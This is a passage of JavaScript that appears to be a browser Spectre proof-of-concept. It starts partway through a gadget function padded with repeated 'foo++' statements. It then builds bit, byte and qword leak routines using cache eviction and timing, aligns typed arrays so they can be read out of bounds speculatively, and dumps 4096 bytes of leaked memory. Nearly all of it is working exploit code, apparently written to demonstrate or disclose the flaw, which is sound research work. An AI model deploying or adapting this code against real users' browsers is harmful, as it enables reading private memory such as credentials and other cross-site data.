foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++
}

function leakBit(evictionList, offset, bit) {
  let zeroes = 0;
  let ones = 0;

  // Our leak is probabilistic. To filter out some noise, we test both for bit 0
  // and 1 repeatedly. If we didn't get a difference in cache hits, continue
  // until we see a diff.
  for (let i = 0; i < 1; i++) {
    if (testBit(evictionList, offset, bit, 0)) zeroes++;
    if (testBit(evictionList, offset, bit, 1)) ones++;
  }
  for (let i = 1; ones == zeroes && i < 5; i++) {
    if (testBit(evictionList, offset, bit, 0)) zeroes++;
    if (testBit(evictionList, offset, bit, 1)) ones++;
    if (ones != zeroes) break;
  }
  return ones > zeroes ? 1 : 0;
}

function leakByte(evictionList, offset) {
  let byte = 0;
  for (let bit = 0; bit < 8; bit++) {
    byte |= leakBit(evictionList, offset, bit) << bit;
  }
  return byte;
}

function leakQword(evictionList, offset) {
  let qword = 0n;
  for (let i = 0; i < 8; i++) {
    qword |= BigInt(leakByte(evictionList, offset+i)) << BigInt(8*i);
  }
  return qword;
}

async function runSpectre() {
  const arrayPageOffset = (PAGE_SZ + inferredCacheSet*CACHE_LINE_SZ - alignedIndex*elementSize) % PAGE_SZ;
  console.log(`[*] array elements page offset: 0x${(arrayPageOffset).toString(16)}`);

  // We want the backing store ptr and the length of the typed array to be on separate cache lines.
  const desiredAlignment = 2*CACHE_LINE_SZ - (40);
  let typedArrayPageOffset = (arrayPageOffset + leakMe.length*4) % PAGE_SZ;
  console.log(`[*] first typedArray at 0x${typedArrayPageOffset.toString(16)}`);

  // We prepared a memory layout in setup_memory.js that looks like this:
  // leakMe | typedArray[0] | typedArrayBackingStore[0] | typedArray[1] | typedArrayBackingStore[1] | ...
  // Just iterate through them to find one that has the alignment we want.
  let alignedTypedArray = undefined;
  for (let i = 0; i < typedArrays.length-1; i++) {
    if (typedArrayPageOffset % (2*CACHE_LINE_SZ) == desiredAlignment) {
      console.log(`[*] found typedArray with desired alignment (@0x${typedArrayPageOffset.toString(16)})`);
      alignedTypedArray = typedArrays[i];
      alignedTypedArray.fill(0x00);
      const targetArray = typedArrays[i+1];
      // Fill all arrays before and after with 0x41 so that we can see them in
      // the hexdump.
      // We also use it as a known value to test if our leak works.
      for (let j = 0; j < i; j++) {
        typedArrays[j].fill(0x41);
      }
      for (let j = i+1; j < typedArrays.length; j++) {
        typedArrays[j].fill(0x41);
      }
      break;
    }
    typedArrayPageOffset += 164;
    typedArrayPageOffset %= PAGE_SZ;
  }
  if (alignedTypedArray == undefined) {
    console.error(ERR_U8_ALIGN, "couldn't create typed array with right alignment");
    return;
  }

  // Create these as globals.
  // The spectreArray is what we will access out of bounds.
  // The spectreTimer calls the spectre gadget and checks which cache sets it's using.
  Object.defineProperty(this, "spectreArray", {
      value: alignedTypedArray
  });
  Object.defineProperty(this, "spectreTimer", {
      value: new L1Timer(spectreGadget)
  });

  const cacheLineToFlush = typedArrayPageOffset & 0xfc0;
  // This will be used to evict the typed array length from the cache
  const evictionList = new EvictionList(200, cacheLineToFlush);

  // Test that the leak is working. We previously wrote byte 0x41 at a known offset.
  const leakTestReps = 1000;
  let falsePositives = 0;
  let falseNegatives = leakTestReps;
  for (let i = 0; i < leakTestReps; i++) {
    // The expected value is 0x41
    falseNegatives -= leakBit(evictionList, 164, 0);
    falsePositives += leakBit(evictionList, 164, 1);
  }
  const falsePositivePercent = Math.floor(100*falsePositives/leakTestReps);
  const falseNegativePercent = Math.floor(100*falseNegatives/leakTestReps);
  console.log(`[*] false positives: ${falsePositivePercent}%, false negatives: ${falseNegativePercent}%`);

  if (falsePositivePercent > 20) {
    console.error(ERR_NO_41, 'too many wrong false positives in leak test (> 20%)');
    return;
  }
  if (falseNegativePercent > 20) {
    console.error(ERR_NO_41, 'too many wrong false negatives in leak test (> 20%)');
    return;
  }

  console.log('[*] setup complete, start leaking');
  await sleep(50);

  const leakCount = 4096;
  const reportSize = 128;
  let leaked = [];

  let time = performance.now();
  for (let leakOffset = 0; leakOffset < leakCount; leakOffset++) {
    if (leaked.length == reportSize) {
      console.log(JSON.stringify({type: 'memory', mem: leaked, offset: leakOffset - leaked.length, time: performance.now() - time}));
      await sleep(10);
      leaked = [];
      time = performance.now()
    }
    leaked.push(leakByte(evictionList, leakOffset));
  }
  if (leaked.length > 0) {
    console.log(JSON.stringify({type: 'memory', mem: leaked, offset: leakCount - leaked.length, time: performance.now() - time}));
  }

  console.log('[*] done');
}

if (leakSuccess) {
  console.log(`[*] inferred memory layout: array index ${alignedIndex} is in cacheSet ${inferredCacheSet}`);

  // To verify, you can search for the value 0x26700000266e in a debugger
  leakMe[alignedIndex] = 0x1337;
  leakMe[alignedIndex+1] = 0x1338;

  runSpectre();
} else {
  console.error(ERR_MEM_LAYOUT, "could not infer memory layout", {cacheHits: cacheHits});
}